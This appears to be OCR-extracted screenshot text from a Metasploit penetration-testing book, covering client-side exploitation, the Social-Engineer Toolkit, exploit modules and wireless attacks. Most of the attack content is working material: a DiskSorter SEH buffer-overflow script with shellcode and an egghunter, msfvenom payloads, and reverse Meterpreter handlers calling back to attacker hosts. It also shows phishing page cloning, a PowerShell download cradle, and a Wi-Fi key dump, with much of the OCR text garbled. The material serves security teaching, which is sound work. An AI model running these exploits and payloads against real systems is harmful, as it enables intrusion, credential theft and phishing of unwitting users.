UnsafeAl_Score_99%

Trojan.CryptZ.Gen

- N

Trojan.CryptZ.Gen

Win32.Trojan.WisdomEyes. 16070401....

W32 FamVT.RorenNHc.Trojan

Win.Trojan.5wrort-5710536-0

malicious_confidence 100% (D)

w32/Swrort.A.gen!Eldorado

malicious (high confidence)

avariant of Win32/Rozena.AM

2017-12-1417:22:40 UTC

AhnLab-v3

Arcabit

AVG

Avware

BitDefender

CAT-QuickHeal

Comodo

Cybereason

Drweb

Emsisoft

eScan

F-Prot

Fortinet

Ikarus

- Nl

ac7df811e99edd67db028189049683b401346b157f71dd71ce7575b1ac402807

Trojan/Win32.5hell. R1283

Trojan.CryptZ.Gen

Win32:SwPatch [Wrm]

Trojan.wWin32.Swrort.B (v)

Trojan.CryptZ.Gen

Trojan.Swrort.A

TrojWare.Win32.Rozena. A

malicious.1b&8fb7

Trojan.Swrort.1

Trojan.CryptZ.Gen (B)

Trojan.CryptZ.Gen

W32/Swrort.A.gen!Eldorado

W32/Swrort.Cltr

Trojan.Win32.5wrort
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Troubleshooting

Management
Versions

Debug Logs
Windows Account
Computer

Install Settings
Connection Status

x

Versions

Engines

Engine Version L

Common Client 12.12.4.12

LiveUpdate 2.3.2.7

SymEwvent 12.9.6.28

Auto-Frotect Kernel Driver 14.6.7.10

Auto-Frotect User Mode Interface 14.6.7.19

Decomposer 2.3.5.10

Power Eraser Engine 5.1.0.48

Eraser 117.2.1.25

SONAR Framework 8.0.0.137 b
Definitions

Type Sequence Last Checked ~

Virus & Spyware 171220020 21/12/2017 10:00

Portal List 170809034 21/12/2017 10:00

Whitelist 171220002 21/12/2017 10:00

Revacation List 171220068 21/12/2017 10:00

Reputation Settings 171010033 21/12/2017 10:00

Power Eraser 161121023 21/12/2017 10:00 il

Close

Help
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' Manual Scan started on 21/12/2017 10:01:42 — O >
?
@ Completed
Filenarne Risk Action Risk Type
Close
Files scanned: 1 Risks found: 0 Files trusted: 0

[Version 10.0.18586]
oft Corporation. All right

-

C:\Windows em32>rundl132.exe C:\U

': - ".II. L-,]'in d OwWs
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¥ Process Explorer - Sysinternals: www.sysinternals.com [MSEDGEWIN10VEUser] - O X
File Options View Process Find Users Help
d & =m@mEaE s | ¢ e A
Process CPU  Private Bytes | Working Set  PID  Description Compary Mame -
= System 0.26 152 K 24K 4
Intermupts 0.74 0 DK n/a Hardware Intermupts and DPCs
SmMss Exe 516 K 500 264
Memory Compression 108 K 5768 K 1584
Carss.axe 1676 K 22K 343
=) [0 wininit .exe 1372K 1684 K 428
= services.exe 4492 K 6,683 K 564
1:|svchost.exe 580 K 11K 688 Host Process for Windows S... Microsoft Corporation
—| [a=]svchost.exe 9840 K 16,044 K 724 Host Process for Windows 5... Microsoft Corporation
WmiPrvSE exe 7964 K 14244 K 3136
-] ShellExperenceHast.. .| Susp.. 0K B12:0 K 5592 Windows Shell Experience H... Microsoft Corparation
n Searchllexe Susp... 4K 136,080 K 5716 Search and Cortana applicati... Microsoft Corparation
- BuntimeBroker.exe 44 K 15,848 K 5800 Runtime Broker Microsoft Corporation
- n| RuntimeBroker.exe 7932 K 22,343 K| 5828 Runtime Broker Microsoft Corporation
regedit exe 4540 K 15956 K 8412
1 | BuntimeBroker.exe 6468 K 15,824 K 5860 Runtime Broker Microsoft Corporation
» RemindersServerexe | Susp.. 3332K F352 K 6924 Reminders WinRT OOP Ser... Microsoft Corporation
=] dlihost exe 3820K E528 K 5536 COM Sumogate Microsoft Corporation
-] Application FrameHost. .. 10,528 K 21,964 K 6572 Application Frame Host Microsoft Corporation
1 SkypeHost.exe Susp... 4796 K 2,824 K416 Microsoft Skype Microsoft Corporation
- BuntimeBroker.exe 1.396 K 1612 K 4888 Runtime Broker Microsoft Corporation
1 WinStore App exe Susp... 38,088 K 57,220 K| V016 Store Microsoft Corporation
- BuntimeBroker.exe 5.276 K 15,732 K| 2548 Runtime Broker Microsoft Corparation
dllhost exe 1492 K 7h48 K 1844
» LockApp.exe Susp... 11.964 K 42,856 K 1984 LockApp exe: Microsoft Corparation
1 | BuntimeBroker.exe 4336 K 22688 K 836 Runtime Broker Microsoft Corporation
dllhost exe 1.852 K 8116 K 5248
WmiPrvSE exe 2460 K 8952K 1156 v
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Chapter 7: Client-Side Exploitation and
Antivirus Bypass

Attention! This document was created by a newer version of Microsoft Office.
Macros must be enabled to display the contents of the document.

Microzoft Excel Security Motice ? >
@ Microsoft Office has identified a potential security concern.

File Path: | c\Users\User\Downloads\inject.csv

Automatic update of links has been disabled. If you choose to
enable automatic update of links, your computer may no longer be
secure, Do not enable this content unless you trust the source of

this file.
Enable

Microsoft Excel >

Remote data not accessible,

To access this data Excel needs to start another application, Some legitimate applications on your computer
o could be used maliciously to spread viruses or damage your computer, Only click Yes if you trust the source

of this workbook and you want to let the workbook start the application.

Start application "MSEXCEL.EXE'?

Yes

[46]



Graphic bundle

' Run
= Typethe name of a program, folder, document, or Internet
= resource, and Windows will open it for you.
Open: zdentials;|EX SP.downloadstring(http://192.168.216.5/"); -~
QK Cancel Browse...
Internet Explorer *
What do you want to do with form.hta?
Size: 6,89 KB
From: 192.168.216.5
= Open
: The file won't be saved automatically,
— Save
— Save as
Cancel
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Internet Explorer Security

| §1 A website wants to open web content using this
W, |/.-'

/" program on your computer

This program will open outside of Protected mode. Internet Explorer's

Protected mode helps protect your computer. If you do not trust this
website, do not open this program.

Mame: Microsoft (R) HTML Application host
| Publisher: Microsoft Windows

[ ] Do not show me the warning for this program again

Allow Don't allow

SHELL = igt_re ger_threaded

'LIED_SHELLCODE = Mone

[48]
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F'F' II"r"r'u'nne. f
GRPC Password: abcle
fully looded plugin: n

--arp 154 --f1lepwn

I -
| L | - -I\
- L . -
L (-
'The Dark Side’

@ online

nline
sploit v4.16.17-dev

 running

2 online

CTRL+C to guit)
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arting interaction with 1...

atuid
WIND
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Desktops - Sysinternals: www.sysinternals.com >

om Desldops v2.0

(=] Copyright © 2006-2012 Mark Russinovich and Bryce Cogswell
Svsintemals - www sysintemals.com

Desktops enables four virtual desktops. You can switch between virtual
desktops either by dicking on the Desktops tray icon and selecting one,
or by using a hotkey,

Spedfy the hotkey modifier keys and desktop specifier;

[«] At

[ contral (®) Number (1, 2, 3, 9)

[ shift () Function (F1, F2, F3, F4)
] windows

[ ]Run automatically at logon

Cancel

About tablet

System updates

Status

Legal informaticon

Manufacturer
VMware, Ir

Model number
Vhvare Virtual F

Android version
1.1

Baseband version

Kernel version
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Install blocked

For security, your tablet is set to block installation of apps obtained
from unknown sources.

CANCEL SETTINGS
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< Security

Passwords

Make passwords visible

Device administration

Device administrators
Unknown sources

Credential storage

Storage type

S oty

Trusted credentials

Install from SO card
Install certificates from S
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Chapter 8: Social-Engineer Toolkit

The Social-Engineer Toolkit is a product of TrustedSec.

Visit: https://www.trustedsec.com

ithu
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1ally craft

" emaill addr
011y and change
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rphishings

ko ik R Fl.ﬂlll'l"l Ll:l.‘I-'\D E SEEEEEEE LS

uption Explolt
al Engineering
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ohishing=1
ping the filendme and moving on.

Social Engineer Toolkit Mass E-Maoiler

you want within that 1ist.

What do you waont to do:

1.

e 'I- d

jﬁtiﬂﬂ
pecple as
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phishings

U want to use a predefined template or craft
one time email template.

Pre-Defined Template
One-Time Use Email Template

rphishing=1
Avallable templates:

i
o
G:

d= >end email to:victim@gmall.com

gnail Account for wour email attack.

SO oW 58

tE - L t@gmat 1. com
set:phishings
Email pas

[581]
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o ;.
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', ad @
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T

=[ metasploit wd.16.24-dev-

Frocessing /rootd . set//meta_config for ERB directiwves.
resource (/rootd . setd/meta_configl= use exploit/multi/handler
resource (/root/ . set//meta_configl= set PAYLOAD windows/meterpreter/reverse_https
PAYLOAD == windows/meterpreter/reverse_https
resource (/root/.set//meta_config)= set LHOST 45.55.45.143
LHOST == 45.55.45.143
resource (/root/.set//meta_configl= set LFORT 443
LPORT == 443
resource (/root/ . set//meta_configl= set EnablestageEncoding false
EnablestageEncoding == false
resource (/root/ . set//meta_configl= set ExitOnSession false
ExitOnSession == faolse
resource (/root/.set//meta_configl= exploit -3

Exploit running as background job @,

Started HTTPS reverse handler on https://45.55.45.143:443
msf exploit( J o=
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e Java Applet Attack meth
stomi Java appl

The TabMabbing method will walt for a u
thing differe

inati
L_-"ll._.l.i. t Br

HTA Attack method w
ich can be
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The fi { od will allow SET import a list of pre-defined web
applic that it can utilize within the attack

'|,|'|,|"i_ 1 1
11

The third method c U to impor Oy a, g that wyou
1d only have an index.html whe Lte

onali tf:p" .

Enter
[*] ] i ane ade attack. ..
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[*] Embedding HTA attack wvector and PowerShell injection. ..
[*] Automatically starting Apache for you...

[*] Cloning the website: https://login. facebook. comd lagin. php
[*] This could take a little bit...

[*] Copying over files to Apache serwver..

[*] Lounching Metapsloit.. Please walt one.

This copy of metasploit-framework 1s more than two weeks old.
Consider running ‘msfupdate’ to update to the latest wersion.

ITITIT LTI
IT B
IT A
II A
II L -
ITITIT RET B

shalls --egypt

=[ metosploit wid.16.24-dev-

Processing /root/ . set//metd_config for ERB directives.
resource (/root/ . set//meto_config)= use multishandler
resource (Sroot/ . set//meto_configd= set payload windows/meterpreter/reverse_https
payload == windows/meterpreter/revarsa_https
resource {/root/.set//meta_config)= set LHOST 45.55.45.143
LHOST == 45.55.45.143
resource (froot/.set//meto_configl= set LPORT 443
LPORT == 443
resource (/froot/.set//meto_config)= set ExitlOnbession false
ExitOnSession == false
resource (/root/.set//meto_config)= set EnableStageEncoding true
EnableStageEncoding == true
resource (Sroot/ . set//meto_configd= exploit -3

Exploit running as background job @.

Started HTTPS reverse handler on https://45.55.45.143:443
msf explolt( o=
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Internet Explorer

What do you want to do with Launcher.hta?

Size: .06 KB
From: zinitiative.com

—) Open

The file won't be saved automatically.

— Save
— Save as
Cancel

ar

Forgot account?
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Multi-Attack Web Attack Yector

|::+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:|

The multi ottack vector utilizes each combinotion of ottacks
and allow the user to choose the method for the attack. Once
you select one of the attacks, 1t will be added to your
attack profile to be used to stage the attack wector. When
your finished be sure to select the 'I'm finished' option.

Select which attacks wou want to use:

. Java Applet Attack Method

. Metasploit Browser Exploit Method

. Credential Harvester Attack Method

. Tabnabbing Attack Method

. Web Jacking Attack Method

. Use them all - A K. A, "Tactical Nuke®

. I'm finished and want to proceed with the attack

9%, Return to Main Menu

setrwebottock:multiottacks= Enter selections one at a time (¥ to finish:6

The Infectious USB/CO/DWD module will create an autorun.inf file and a
Metasploilt payload. When the DVD/USB/CD 1s inserted, 1t will adutomatically

run if autorun is enabled.

Pick the attock wvector you wish to use: fileformot bugs or a stroight executaoble.

13 File-Format Exploits
23 Standard Metasplolt Executable

993 Return to Main Menu

gt infectious:
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Chapter 9: Working with Modules for
Penetration Testing

[66]
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1Tem has has been shut down to prevent damage

or softw is prope
ur hara or software

XFFFFFB000

dcal
pumping pk memory to dis

[67]



Graphic bundle

1,6/2,7 GB 689 MB

Paged pool Mon-paged pool

125 MB 869 MB

Fewer details 'ZE:-Z' Open Resource Monitor

Processes Performance  App history Startup  Users Details  Services
CPU
leH 70% 2,00 GHz Memory 1.0 GB
= Memaory usage 1023 MB
A Memory /"' B
~ | 95771023 ME (943%) -
| A
— —-‘/
. |
Disk 0 {C3) [
18% {
E) |
60 seconds 0
Ethernet Memory composition
50,7 R 1,1 Mbps
Bluetooth
Mot connected
In use Available Slots used: M/A
954 M B 66 O M B Hardware reserved: 1,2 MB
I
Committed Cached
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= I"LIN

.InternalH

lanagement . Al tion.Run
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Authentication Required

http://89.181.67.197:7547 is requesting your username and password. The site says:

“HuaweiHome Gateway”

User Name:

Password:

Cancel

OK
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msf auxiliary(

port proto name  state  info
http CWMF - Huawet
http CWMP Qa1
http «© CWMP
http ope CWME
http ope CYMF
http «© CWMP
http ope CWMP
http ope CWME
http «© CWMP
http ope CWMP
bttp ope CWME
http «© CWMP
http ope CWMF
http o© CME
http «© CWMP
http ope WM
http o© WM
http open  CWMP
http open  COWMF - Huowel
http open CYMF Huowel

. 18!
18!
A
18
. 18!
A
18
.18
18
18
18
il
18!
A
.l
18!
18!
A
18

[71]



Graphic bundle

Chapter 10: Exploring Exploits

=
2 F General

Advanced

Reports

Databaze

1 e
= Server

P E-Mail
F'-‘Z? Rules

m

** Disk Sorter Enterprise Options

Server User Mame:

Server Password:

Server Control Port:

Enable Web Server on Port:
[T Enable Parallel Batch Tasks:
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EXPLOIT &
DATABASE

#!/usr/bin/env python

# Exploit Title: DiskSorter Enterprise 9.5.12 - 'GET' Remote buffer overflow (SEH)
# Date: 2017-03-22

# Exploit Author: Daniel Teixeira

# Author Homepage: www.danielteixeira.com

# Vendor Homepage: http://www.disksorter.com

# Software Link: http://www.disksorter.com/setups/disksorterent_setup v9.5.12.exe
# Version: 9.5.12
# Tested on: Windows 7 SP1 x86

import socket,os,time, struct

host = "192.168.2.186"
port = 80

#Bad Chars \x00\x09\x0a\x0d\x20"

#msfvenom -a x86 --platform windows -p windows/shell bind tcp -b "\x00\x09\x0a\x0d\x20" -f python
shellcode = ""

shellcode += "\xd9\xc0\xd9\x74\x24\x£4\x5e\xbf\xb0\x9b\x0e\x£2\x33"
shellcode += "\xc9\xbl\x53\x31\x7e\x17\x83\xee\xfc\x03\xce\x88\xec"
shellcode += "\x07\xd2\x47\x72\xe7\x2a\x98\x13\x61\xcf\xa9\x13\x15"
shellcode += "\x84\x9%a\xa3\x5d\xc8\x16\x4f\x33\xf8\xad\x3d\x9c\x0f"
shellcode += "\x05\x8b\xfa\x3e\x96\xa0\x3£\x21\x14\xbb\x13\x81\x25"
shellcode += "\x74\x66\xc0\x62\x69\x8b\x90\x3b\xe5\x3e\x04\x4f\xb3"
shellcode += "\x82\xaf\x03\x55\x83\x4c\xd3\x54\xa2\xc3\x6£\x0f\x64"
shellcode += "\xe2\xbc\x3b\x2d\xfc\xal\x06\xe7\x77\x11\xfc\x£6\x51"
shellcode += "\x6b\x£fd\x55\x9c\x43\x0c\xa7\xd9\x64\xef\xd2\x13\x97"
shellcode += "\x92\xe4\xe0\xe5\x48\x60\xf2\x4e\xla\xd2\xde\x6£f\xcf"

shellcode += "\x85\x95\x7c\xad4\xc2\xf1\x60\x3b\x06\x8a\x9d\xb0\xa9"
shellcode += "\x5c\x14\x82\x8d\x78\x7c\x50\xaf\xd9\xd8\x37\xd0\x39"
shellcode += "\x83\xe8\x74\x32\x2e\xfc\x04\x19\x27\x31\x25\xal\xb7"

shellcode += "\x5d\x3e\xd2\x85\xc2\x94\x7c\xa6\x8b\x32\x7b\xc9\xal"
shellcode += "\x83\x13\x34\x4a\xf4\x3a\xf3\xle\xad\x54\xd2\xle\x2f"
shellcode += "\xad\xdb\xca\xda\xac\x7a\xa5\x£f8\x51\x3c\x15\xbd\xf9"
shellcode += "\xd5\x7£\x32\x26\xc5\x7£\x98\x4f\x6e\x82\x23\x7e\x33"
shellcode += "\xOb\xc5\xea\xdb\x5d\x5d\x82\x19\xba\x56\x35\x61\xe8"
shellcode += "\xce\xdl\x2a\xfa\xc9\xde\xaa\x28\x7e\x48\x21\x3f\xba"
shellcode += "\x69\x36\x6a\xea\xfe\xal\xe0\x7b\x4d\x53\xf4\x51\x25"
shellcode += "\xf0\x67\x3e\xb5\x7£\x94\xe9\xe2\x28\x6a\xe0\x66\xc5"
shellcode += "\xd5\x5a\x94\x14\x83\xa5\x1c\xc3\x70\x2b\x9d\x86\xcd"
shellcode += "\x0£\x8d\x5e\xcd\x0b\x£9\x0e\x98\xc5\x57\xe9\x72\xad"
shellcode += "\x01\xa3\x29\x6e\xc5\x32\x02\xb1\x93\x3a\x4f\x47\x7b"
shellcode += "\x8a\x26\x1le\x84\x23\xaf\x96\xfd\x59\x4£\x58\xd4\xd9"
shellcode += "\x7£\x13\x74\x4b\xe8\xfa\xed\xc9\x75\xfd\xd8\x0e\x80"
shellcode += "\x7e\xe8\xee\x77\x9%9e\x99\xeb\x3c\x18\x72\x86\x2d\xcd"
shellcode += "\x74\x35\x4d\xc4"
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:~# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.216.5 -b "\x00\x09\x0a\x0d\x20" -f python --var-name shellcode
Found 1@ compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 360 (iteration=0)
x86/shikata_ga_nai chosen with final size 360
Payload size: 360 bytes
Final size of python file: 1936 bytes

"\xdb\xda\xd9\x74\x24\xf4\xb8\x98\x06\x64\xfe\x5e"
"\x29\xc9\xb1\x54\x83\xc6\x04\x31\x46\x14\x03\x46"
\x8c\xe4\x91\x02\x44\x6a\x59\xfb\x94\x@b\xd3\x1le"
"\xa5\x@b\x87\x6b\x95\xbb\xc3\x3e\x19\x37\x81\xaa"
\xaa\x35\x0@e\xdc\x1b\xf3\x68\xd3\x9c\xa8\x49\x72"
\x1e\xb3\x9d\x54\x1f\x7c\xd@\x95\x58\x61\x19\xc7"
\x31\xed\x8c\xf8\x36\xbb\x@c\x72\x@4\x2d\x15\x67"
"\xdc\x4c\x34\x36\x57\x17\x96\xb8\xb4\x23\x9f\xa2
\xd9\x0e\x69\x58\x29\xe4\x68\x88\x60\x@5\xC6\xf5'
"\x4d\xfA\x16\x31\x69\xe7\x6¢\x4b\x8a\x9a\x76\x88"
\xF1\x40\xf2\x@b\x51\x02\xa4\xf 7\x60\xc7\x33\x73"
"\x6e\xac\x30\xdb\x72\x33\x94\x57\x8e\xb8\x1b\xb8"
\x@7\xfa\x3f\x1c\x4c\x58\x21\x05\x28\x0 \x5e\x55"
"\x93\xfO\xfa\x1d\x39\xe4\x76\x7c\x55\xc9\xba\x7f"
"\xa5\x45\xcc\x0c\x97\xca\x66\x9b\x9b\x83\xal\x5c"
\xdc\xb9\x15\xf2\x23\x42\x66\xda\xe7\x16\x36\x74"
"\xce\x16\xdd\x84\xef\xc2\x48\x8\x67\x2d\x24\x57"
\x72\xc5\x37\x68\x6d\x49\xb1\x8e\xdd\x21\x91\x1le"
\x9d\x91\x51\xcF\x75\xf8\x5d\x30\x65\x03\xb4\x59"
\x@f\xec\x61\x31\xa7\x95\x2b\xc\x56\x59\xe6\xb7"
"\x58\xd1\x03\x47\x16\x12\x61\x5b\x4e\x43\x89\xa3"
\x8e\xee\x89\xc9\x8a\xb8\xde\x65\x90\x9d\x29\x2a"
"\x6b\xc8\x29\x2d\x93\x8d\x1b\x45\xa5\x1b\x24\x31"
\xcO\xcb\xa4\xc1\x9fF\x81\xa4\xa9\x47\xf2\xf6\xcc"
"\x88\x2f\x6b\x5d\x1c\xd@\xda\x31\xb7\xb8\xe@\x6¢"
\xfAx66\x1a\x5b\x7c\x6@\xe4\x19\xa@\xc9I\x8d\xe1"
"\xe4\xe9\x4d\x88\xe4\xb9\x25\x47\xcb\x36\x86\xa8"
"\xc6\x1e\x8e\x23\x86\xed\x2f\x33\x83\xbO\xf1\x34"
\x27\x69\xe7\xba\xc8\x8e\x@8\x3d\xf5\x58\x31\x4b’
shellcode \x3e\x59\x06\x44\x75\xf c\x2f\xcf\x75\x52\x2f\xda"

msf > use exploit/multi/handler

msf exploit( ) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp

msf exploit( ) > set LHOST 192.168.216.5

LHOST => 192.168.216.5

msf exploit( ) > run

Started reverse TCP handler on 192.168.216.5:4444
Sending stage (179779 bytes) to 192.168.216.55
Meterpreter session 1 opened (192.168.216.5:4444 -> 192.168.216.55:50024) at 2018-01-21 09:14:44 -0500

meterpreter >

#Buffer overflow
junk = "A" * 2487

#JMP Short = EB 05

nSEH = "\x90\x90\xEB\x05" #Jump short 5
#POP POP RET (libspp.dll)

SEH = struct.pack('<L',0x10015FFE)
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#Generated by mona.py v2.0, rev 568 - Immunity Debugger

egg = "w00tw0Ot™

egghunter = "\x66\x81\xca\xff\x0£\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

#Payload
payload = junk + nSEH + SEH + egghunter + nops * 10 + egg + shellcode + nops * (6000 - len(junk) -
len (nSEH) - len(SEH) - len(egghunter) - 10 - len(egg) - len(shellcode))
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Chapter 11: Wireless Network Penetration
Testing

msf > use exploit/windows/http/disksorter

msf exploit( ) > set RHOST 192.168.216.55

RHOST => 192.168.216.55

msf exploit( ) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp

msf exploit( ) > set LHOST 192.168.216.5

LHOST => 192.168.216.5

msf exploit( ) > set LPORT 443

LPORT => 443

msf exploit( ) > exploit

Started reverse TCP handler on 192.168.216.5:443

Sending request...

Sending stage (179779 bytes) to 192.168.216.55

Meterpreter session 1 opened (192.168.216.5:443 -> 192.168.216.55:53222) at 2018-01-21 11:06:39 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter >
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msf > use auxiliary/fuzzers/http/http_get_uri_long

msf auxiliary( ) > set RHOST 192.168.216.55
RHOST => 192.168.216.55

msf auxiliary( ) > run

192. .216.55: Fuzzing with iteration 100 using string length 100

192. .216.55: Fuzzing with iteration 200 using string length 200

192. .216.55: Fuzzing with iteration 300 using string length 300

192. .216.55: Fuzzing with iteration 400 using string length 400

192. .216.55: Fuzzing with iteration 500 using string length 500

192. .216.55: Fuzzing with iteration 600 using string length 600

192. .216.55: Fuzzing with iteration 700 using string length 700

192. .216.55: Fuzzing with iteration 800 using string length 800

192. .216.55: Fuzzing with iteration 900 using string length 900

192. .216.55: Fuzzing with iteration 1000 using string length 1000

192. .216.55: Fuzzing with iteration 1100 using string length 1100

192. .216.55: Fuzzing with iteration 1200 using string length 1200

192. .216.55: Fuzzing with iteration 1300 using string length 1300

192. .216.55: Fuzzing with iteration 1400 using string length 1400

192. .216.55: Fuzzing with iteration 1500 using string length 1500

192. .216.55: - The service may have crashed: iteration:1582 1en=1583 uri=""XXXXXXXXXXXXXXXXXXXXXXXXXXX
XXX XXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXKKKKKKXKKKKKKKKKXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXKKKKKKKKKKKKKKKKXXXXXXXXXXXXXX XXX XXX XXX

XXXXXXXXXXXXXOXXXXXXXXXXXXXXXXOXXXXXXXOKKKXXXKKXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXOXKXXXXXXXXXXXXXXXOKKXXKXXXXKKXXXXKXXXXXXKXXXKKXXXXXXXXXXXXXX
VOO P O000000 000000000 0000000 00000000 0000000000 000000 000000000 000000000 000000 0000000000 0000000 000000000 0009000008
PO 00000000 000000000 0000000 000000000 000000000 000000 000000000 0000000 000000000 000000000 0000000 000000000 0000000008

X'' error=The connection was refused by the remote host (192.168.216.55:80).
Auxiliary module execution completed
msf auxiliary( D >
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This migh

& Do you want to send more information about the
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msf > use post/windows/wlan/wlan_current_connection

msf post( ) > set SESSION 1
SESSION => 1

msf post( ) > run

[+] GUID: {@6c152b8-8028-49de-b639-69b82ad7f231}
Description: Atheros AR9271 Wireless Network Adapter
State: The interface is connected to a network.

Mode: A profile is used to make the connection.

Profile: TP-LINK_F8DQ1B

SSID: TP-LINK_F8D@1B

AP MAC: f4:ec:38:f8:d@:1b

BSS Type: Infrastructure

Physical Type: 802.11n PHY type

Signal Strength: 72

RX Rate: 150000

TX Rate: 150000

Security Enabled: Yes

oneX Enabled: No

Authentication Algorithm: RSNA with PSK

Cipher Algorithm: CCMP

WlanAPI Handle Closed Successfully
Post module execution completed
msf post(
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msf > use post/windows/wlan/wlan_bss_list
m

msf post(

SESSION => 1
msf post(

Number of Networks: 7
[+] SSID: TP-LINK_F8D@1B
BSSID: f4:ec:38:f8:d@:1b
Type: Infrastructure
PHY: 802.11n PHY type
RSSI: -85
Signal: 74

[+] SSID: Vodafone-
BSSID: 88:6
Type: Infrastructure
PHY: 802.11n PHY type
RSSI: -57
Signal: 100

[+] SSID: ZON-
BSSID: ©0:05:
Type: Infrastructure
PHY: 802.11n PHY type
RSSI: -106
Signal: 32

[+] SSID: NOS-
BSSID: 64:77:
Type: Infrastructure
PHY: 802.11n PHY type
RSSI: -109
Signal: 26

) > set SESSION 1

) > run
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msf > use post/windows/wlan/wlan_profile

msf post( ) > set SESSION 1
SESSION => 1

msf post( ) > run

[+] Wireless LAN Profile Information
GUID: {@06c152b8-8028-49de-b639-69b82ad7f231} Description: Atheros AR9271 Wireless Network Adapter State: The interface is
connected to a network.
Profile Name: TP-LINK_F8DQ1B
<?xml version="1.0"7>
<WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1">
<name>TP-LINK_F8D@1B</name>
<SSIDConfig>
<SSID>
<hex>54502D4C494E4B5F463844303142</hex>
<name>TP-LINK_F8D@1B</name>
</SSID>
</SSIDConfig>
<connectionType>ESS</connectionType>
<connectionMode>auto</connectionMode>
<MSM>
<security>
<authEncryption>
<authentication>WPA2PSK</authentication>
<encryption>AES</encryption>
<useOneX>false</useOneX>
</authEncryption>
<sharedKey>
<keyType>passPhrase</keyType>
<protected>false</protected>
<keyMaterial>P4ssw@rd</keyMaterial>
</sharedKey>
</security>
</MSM>
<MacRandomization xmlns="http://www.microsoft.com/networking/WLAN/profile/v3">
<enableRandomization>false</enableRandomization>
</MacRandomization>
</WLANProfile>

WlanAPI Handle Closed Successfully
Post module execution completed
msf post( D >

:~# urlsnarf -i at@
urlsnarf: listening on at@ [tcp port 8@ or port 8080 or port 3128]
10.0.0.100 - - [27/Jan/2018:12:22:52 -0500] "GET http://packtpub.com/ HTTP/1.1" - - "-" "Mozilla/5.0
(Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.
36 Edge/16.16299"
10.0.0.100 - - [27/])an/2018:12:23:19 -0500] "GET http://www.msftconnecttest.com/connecttest.txt HTTP/
1.1" - - "-" "Microsoft NCSI"
10.0.0.100 - - [27/Jan/2018:12:23:37 -0500] "GET http://cdn.content.prod.cms.msn.com/singletile/summa
ry/alias/experiencebyname/today?market=pt-PT&source=appxmanifest&tenant=amp&vertical=news HTTP/1.1" -
- "-" "Microsoft-WNS/10.0"
10.0.0.100 - - [27/)an/2018:12:24:17 -0500] "GET http://tile-service.weather.microsoft.com/pt-PT/live
tile/preinstall?region=PT&appid=C98EASBO842DBB9405BBFA71E1DA76512D21FE36&FORM=Threshold HTTP/1.1" - -
"-" "Microsoft-WNS/10.0"
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:~# msfconsole -qr karma.rc
Processing karma.rc for ERB directives.
resource (karma.rc)> db_connect postgres:toor@127.0.0.1/msfbook
postgresql already connected to msf
Run db_disconnect first if you wish to connect to a different database
resource (Ckarma.rc)> use auxiliary/server/browser_autopwn
resource Ckarma.rc)> setg AUTOPWN_HOST 10.0.0.1
AUTOPWN_HOST => 10.0.0.1
resource (karma.rc)> setg AUTOPWN_PORT 55550
AUTOPWN_PORT => 55550
resource (karma.rc)> setg AUTOPWN_URI /ads
AUTOPWN_URI => /ads
resource (karma.rc)> set LHOST 10.0.0.1
LHOST => 10.0.0.1
resource (karma.rc)> set LPORT 45000
LPORT => 45000
resource (karma.rc)> set SRVPORT 55550
SRVPORT => 55550
resource (karma.rc)> set URIPATH /ads
URIPATH => /ads
resource (Ckarma.rc)> run
Auxiliary module running as background job @.
resource (karma.rc)> use auxiliary/server/capture/pop3
resource (Ckarma.rc)> set SRVPORT 110
Setup
SRVPORT => 110
resource (karma.rc)> set SSL false

Starting exploit modules on host 10.0.0.1...
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msf > use exploit/windows/misc/hta_server

msf exploit( ) > set SRVPORT 443
SRVPORT => 443

msf exploit( ) > set URIPATH Update
URIPATH => Update

msf exploit( ) > set PAYLOAD windows/meterpreter/reverse_tcp

PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit( ) > set LHOST 192.168.216.5
LHOST => 192.168.216.5
msf exploit( ) > run
Exploit running as background job @.

Started reverse TCP handler on 192.168.216.5:4444

exploit( ) > Using URL: http://0.0.0.0:443/Update

Local IP: http://192.168.216.5:443/Update
Server started.
exploit(

http://bettercap.org/

[I] Starting [ spoofing:v discovery:x sniffer:x tcp-proxy:x udp-proxy:x http-proxy:v https-proxy:

http-server:x dns-server:v' ] ...

[I] [etho] 192.168.216.5 : 00:0C:29:B2:13:3B / eth® ( VMware )

[I] [GATEWAY] 192.168.216.2 : 00:50:56:E3:FD:60 ( VMware )

[I] Found NetBIOS name 'MSEDGEWIN1Q' for address 192.168.216.11

[I] [DNS] Starting on 192.168.216.5:5300 ...

[I] [TARGET] 192.168.216.11 : 00:50:56:25:16:20 / MSEDGEWIN1® ( VMware )
[I] [HTTP] Proxy starting on 192.168.216.5:8080 ...

sslstrip:v
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= Packt>

Internet Explorer

What do you want to do with Update.hta? ” I( f )
Size: 6.34 KB
From: 192.168.216.5 u

QOpen

Tre e wortbesaedsutomatically Ykills For 2018

—> Save

—> Save as

Cancel

Android Angular Arduino Artificial Intelligence AWS Data Analysis DevOps

Meterpreter session 1 opened (192.168.216.5:4444 -> 192.168.216.11:50176) at 2018-01-28 05:09:17 -0500

msf exploit( ) > sessions 1
Starting interaction with 1...

meterpreter > sysinfo

Computer : MSEDGEWIN10Q

0S : Windows 10 (Build 16299).
Architecture : x64

System Language : en_US

Domain : WORKGROUP

Logged On Users : 3

Meterpreter : x86/windows

meterpreter >
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msf > use exploit/windows/smb/smb_relay
